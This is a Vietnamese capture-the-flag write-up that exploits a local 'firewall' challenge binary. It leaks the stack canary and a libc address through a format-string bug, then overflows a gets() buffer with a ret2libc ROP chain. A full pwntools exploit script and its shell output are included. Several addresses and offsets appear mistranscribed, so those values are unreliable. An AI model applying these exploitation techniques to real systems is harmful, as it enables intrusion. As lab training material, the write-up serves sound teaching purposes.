

## Firewall

Chạy thử chương trình

```
(kali㉿kali) - [~/Desktop]
$ ./firewall
C interactive firewall

[x]~> fsd
fsd
[x]~> fwefwe
fwefwe
[x]~> connect
connect
Opening a connetion to the firewall...
Done.
[*]~> █
```

Đọc yêu cầu

```
readme.txt - Notepad
File Edit Format View Help
Crack the firewall! Your goal is to get a shell! Good luck!
```

Như vậy đây là một bài thuộc dạng pwnable, mục tiêu là get shell

Phân tích với lệnh checksec

```
(kali㉿kali) - [~/Desktop]
$ checksec firewall
[*] '/home/kali/Desktop/firewall'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

## Phân tích với IDA, hàm main

```
v4 = 0;
puts("C interactive firewall\n");
while ( 1 )
{
    if ( !v4 )
        strcpy(v5, "[x]~> ");
    if ( v4 == 1 )
        strcpy(v5, "[*]~> ");
    printf("%s", v5);
    if ( !(unsigned int)gets(&v5[6]) )
        break;
    printf(&v5[6]);
    putchar(10);
    if ( !strcmp(&v5[6], "connect") )
    {
        puts("Opening a connetion to the firewall...");
        sleep(2u);
        v4 = 1;
        puts("Done.");
    }
    if ( !strcmp(&v5[6], "send") && v4 == 1 )
    {
        puts("Enter something that should be sent to the network to test the firewall");
        printf("Input: ");
        send();
        puts("Sent.");
    }
    if ( !strcmp(&v5[6], "send") && v4 != 1 )
        puts("Connect first!");
}
return 0;
```

Ta có thể thấy là lệnh `printf(&v5[6])` sẽ gây ra lỗi format string, lệnh `gets(&v5[6])` sẽ gây ra lỗi buffer overflow, ngoài ra trong hàm `send()` cũng có lệnh `gets(v1)` có thể gây ra lỗi buffer overflow.

Phân tích với lệnh `checksec` phía trên, NX enable tức là chúng ta sẽ không thể dùng shellcode. Canary found đồng nghĩa với việc chúng ta cần dùng leak canary trước khi buffer overflow, điều này hoàn toàn có thể vì chương trình chạy trong vòng lặp `while`. Vì canary sẽ không thay đổi trong 1 lần chạy chương trình.

```
(kali㉿kali)-[~/Desktop]
```

```
$ file firewall
```

```
firewall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f3c8205e42fba83a9cea0af79f2dale7fe1632a5, for GNU/Linux 3.2.0, not stripped
```

Phân tích với lệnh file, dynamic linking cho phép ta có thể ret2libc hoặc thực hiện ROPgadget trên libc, kết hợp với ROPgadget trên section .text bình thường. Tuy nhiên chúng ta cần chú ý đến cả 2 cơ chế là PIE enable và aslr.

Ở bài này mình chọn giải pháp là ret2libc, việc đầu tiên là phải leak được canary để bypass, chúng ta có thể sử dụng lỗi format string. Phân tích stack ở hàm main với gdb.

```
pwndbg> x/50xg $rsp
```

0x7fffffffde70:	0x0000000000000000	0x203e7e5d785b0240
0x7fffffffde80:	0x0000030064636261	0x0000034000000340
0x7fffffffde90:	0x0000034000000340	0x0000034000000340
0x7fffffffdea0:	0x0000034000000340	0x0000034000000340
0x7fffffffdeb0:	0x0000034000000340	0x0000034000000340
0x7fffffffdec0:	0x0000034000000340	0x0000034000000340
0x7fffffffded0:	0x0000034000000340	0x0000034000000340
0x7fffffffdee0:	0x0000034000000340	0x0000034000000340
0x7fffffffdef0:	0x0000000000000000	0x0000000000000100
0x7fffffffdf00:	0x0000000000000000	0x0000000000000000
0x7fffffffdf10:	0x0000000000000000	0x0000000000000000
0x7fffffffdf20:	0x0000000000000000	0x0000000000000000
0x7fffffffdf30:	0x0000000000000000	0x0000000000000000
0x7fffffffdf40:	0x0000000000000000	0x00000000000001001
0x7fffffffdf50:	0x0000555555554040	0x00005555555548d
0x7fffffffdf60:	0x0000000000000000	0x0000000000000000
0x7fffffffdf70:	0x000055555555440	0x0000555555550b0
0x7fffffffdf80:	0x00007fffffff080	0x321f6572a1019a00
0x7fffffffdf90:	0x000055555555440	0x00007ffff7e0cd0a
0x7fffffffdfa0:	0x00007fffffff088	0x00000001ffffe3a9
0x7fffffffdfb0:	0x0000555555551a9	0x00007ffff7e0c8e9
0x7fffffffdfc0:	0x0000000000000000	0x2a83f3ad8e6870f5
0x7fffffffdfd0:	0x0000555555550b0	0x0000000000000000
0x7fffffffdfе0:	0x0000000000000000	0x0000000000000000
0x7fffffffdff0:	0x7fd6a6f899a870f5	0x7fd6b6c6bf6e70f5

```
pwndbg> x $rbp
```

```
0x7fffffffdf90: 0x000055555555440
```

Rsp đang có giá trị là 0x7fffffffde70, rbp có giá trị là 0x7fffffffdf90, như vậy canary sẽ nằm ở ô nhớ có địa chỉ là 0x7fffffffdf88, tính toán offset để leak canary là  $(0x7fffffffdf88 - 0x7fffffffde70) / 8 + 6 = 41$ . Vậy payload để leak canary là “%41\$llx”. (Vì 5 tham số đầu tiên sẽ được truyền trong thanh ghi nên offset của rsp bắt đầu từ 6)

Tiếp theo là để ret2libc, chúng ta cần leak được địa chỉ của 1 hàm và tìm được phiên bản libc chính xác. Vì bài này chạy trên máy tính cá nhân, nên version libc chính xác theo từng máy có thể dễ dàng tìm thấy. Đối với máy mình sử dụng version libc6-amd64\_2.31-9\_i386.

Đối với version libc6-amd64\_2.31-9\_i386, chúng ta có lần lượt offset của system, “/bin/sh” như sau.

libc6-amd64_2.31-9_i386			<a href="#">Download</a>
Symbol	Offset	Difference	
<input checked="" type="radio"/> __libc_start_main	0x026c20	0x0	
<input type="radio"/> system	0x048e50	0x22230	
<input type="radio"/> open	0x0eeb90	0xc7f70	
<input type="radio"/> read	0x0eee80	0xc8260	
<input type="radio"/> write	0x0eef20	0xc8300	
<input type="radio"/> str_bin_sh	0x18a156	0x163536	

Tiếp theo là do cơ chế aslr, chúng ta cần leak được ít nhất 1 địa chỉ thuộc libc để tính toán, có rất nhiều cách để leak, ở bài này mình chọn cách đơn giản nhất là leak địa chỉ trả về của hàm main.

Sử dụng gdb, break ở hàm main và step tới bước leave, ta nhận thấy giá trị nằm trong return address của hàm main là

```

0x55555555347 <main+414>      mov     eax, 0
0x5555555534c <main+419>      mov     rdx, qword ptr [rbp - 8]
0x55555555350 <main+423>      xor     rdx, qword ptr fs:[0x28]
0x55555555359 <main+432>      je      main+439 <main+439>
↓
0x55555555360 <main+439>      leave
0x55555555361 <main+440>      ret     <0x7ffff7e0cd0a; __libc_start_main+234>

```

Giá trị return address của hàm main là `libc_start_main + 234`, `libc_start_main` là một hàm thuộc `libc`, do đó ta có thể tính toán được địa chỉ của `libc_start_main` = `main_function_return_address` – 234, sau đó dựa vào offset của `libc` để tìm ra địa chỉ của `system` và `/bin/sh`. `Main_function_return_address` có thể dễ dàng được leak sử dụng `formatstring` y như `canary` với payload “%43\$llx”.

Như vậy là gần như đã xong, tuy nhiên chúng ta còn thiếu một thứ, để hàm `system(“/bin/sh”)` có thể chạy ta cần đưa địa chỉ “/bin/sh” vào thanh ghi `rdi`. Để làm điều đó, vì đã leak được địa chỉ của `libc base`, nên mình thực hiện ROPgadget trên `libc` (nếu ROP trên `.text` thì phải leak một địa chỉ nền bên cơ chế PIE). Sử dụng tool ROPgadget trên version `libc` của máy, mình tìm được offset của câu lệnh.

```

76847 0x00000000000027355 : pop rdi ; pop rbp
76848 0x00000000000026796 : pop rdi ; ret

```

Một câu lệnh quá tuyệt vời để đưa địa chỉ của “/bin/sh” vào `rdi`. Vì cùng nằm trong `libc` nên ta có thể tính toán địa chỉ gadget dựa trên cùng `stackbase` với `libc_start_main`.

Vậy là chúng ta đã có đầy đủ công cụ để `ret2libc`. Tiếp theo là phần làm sao để `buffer overflow`, để lấy được shell thì chương trình cần phải `return`, tuy nhiên mình không tìm được cách để có thể ép hàm `main` phải `return` vì dòng lệnh vòng lặp `while` và điều kiện dừng từ hàm `gets()` cần trả về `false`.

```

puts( "Interactive Firewall" );
while ( 1 )
{
    if ( !v4 )
        strcpy(v5, "[x]~> ");
    if ( v4 == 1 )
        strcpy(v5, "[*]~> ");
    printf("%s", v5);
    if ( !(unsigned int)gets(&v5[6]) )
        break;
}

```

Nên mình chuyển sang lợi dụng lỗ hổng buffer overflow ở hàm send

```
1 int64 send()  
2 {  
3     char v1[264]; // [rsp+0h] [rbp-110h] BYREF  
4     unsigned int64 v2; // [rsp+108h] [rbp-8h]  
5  
6     v2 = __readfsqword(0x28u);  
7     gets(v1);  
8     return check_input(v1);  
9 }
```

May mắn thay, vì đều sử dụng canary ở vị trí fs:28h (mov rax, fs:28h) nên chúng ta có thể sử dụng canary đã leak được ở hàm main để bypass cho canary ở hàm send. Mình không thật sự rõ lắm ở phần này, chỉ là theo mình biết là như vậy, và khi debug chương trình chạy thử thì nó vẫn đúng.

Vậy toàn bộ phần source code sẽ hoạt động như sau

Ở vòng while đầu tiên của hàm main, leak canary

Ở vòng while thứ 2 của hàm main, leak main\_function\_ret\_address, sau đó tính toán địa chỉ system, /bin/sh và gadget pop rdi.

Sử dụng lệnh connect và send để gọi hàm send và tiến hành buffer overflow.

Tính toán phần padding để buffer overflow ở hàm send.

```
0x5555555537c <send+26>    lea     rax, [rbp - 0x110]  
0x55555555383 <send+33>    mov     rdi, rax  
0x55555555386 <send+36>    mov     eax, 0  
0x5555555538b <send+41>    call    gets@plt <gets@plt>
```

Lệnh gets(v1) ở hàm send được gọi với địa chỉ v1 là (rbp - 0x110). Từ đó tính toán được padding bao gồm: “G” \* 264 + canary + “G” 8 + gadget\_pop\_rdi + bin\_sh\_address + system\_address. Hàm check\_input() của send sẽ loại các ký tự từ “A” -> “E” nên chúng ta sử dụng payload “G”.



Full source code solve.py.

```
File Edit Selection Find View Goto Tools Project Preferences Help
~/Desktop/solve.py - Sublime Text
1 from pwn import *
2
3 pop_rdi_offset = 0x0000000000026796
4 libc_start_main_offset = 0x0000000000026c20
5 system_offset = 0x0000000000048e50
6 str_bin_sh_offset = 0x0000000000018a56
7
8 p = process('./firewall')
9
10 p.recv()
11 payload = b'%41$llx'
12 p.sendline(payload)
13
14 p.recvuntil('[x]-> ')
15 canary = int(p.recvline().strip(), 16)
16 payload = b'%43$llx'
17 p.sendline(payload)
18
19 p.recvuntil('[x]-> ')
20 libc_start_main = int(p.recvline().strip(), 16) - 234
21 print('libc_start_main: ' + hex(libc_start_main))
22 print('canary: ' + hex(canary))
23
24 p.sendline(b'connect')
25
26 p.sendline(b'send')
27 p.recvuntil('[*]-> ')
28
29 base = libc_start_main - libc_start_main_offset
30 payload = b'G' * 264 + p64(canary) + b'G' * 8 + p64(pop_rdi_offset + base) + p64(base + str_bin_sh_offset) + p64(system_offset + base)
31
32 p.sendline(payload)
33
34 p.interactive()
35
36
```

Kết quả:

```
(kali㉿kali) - [~/Desktop]
$ python solve.py
[+] Starting local process './firewall': pid 4149
libc_start_main: 0x7f5e3c647c20
canary: 0xc495cc314147c400
[*] Switching to interactive mode
send
Enter something that should be sent to the network to test the firewall
$ ls
brave-browser.desktop      linux_server64
b.txt                      Postman
core                       ROP2.txt
d                          ROP3.txt
firewall                   ROP.txt
geany.desktop              solve.py
libc6-amd64_2.31-6_i386.so  start-tor-browser.desktop
'libc6-amd64_2.31-9_i386 (1).so' thunderbird
$
```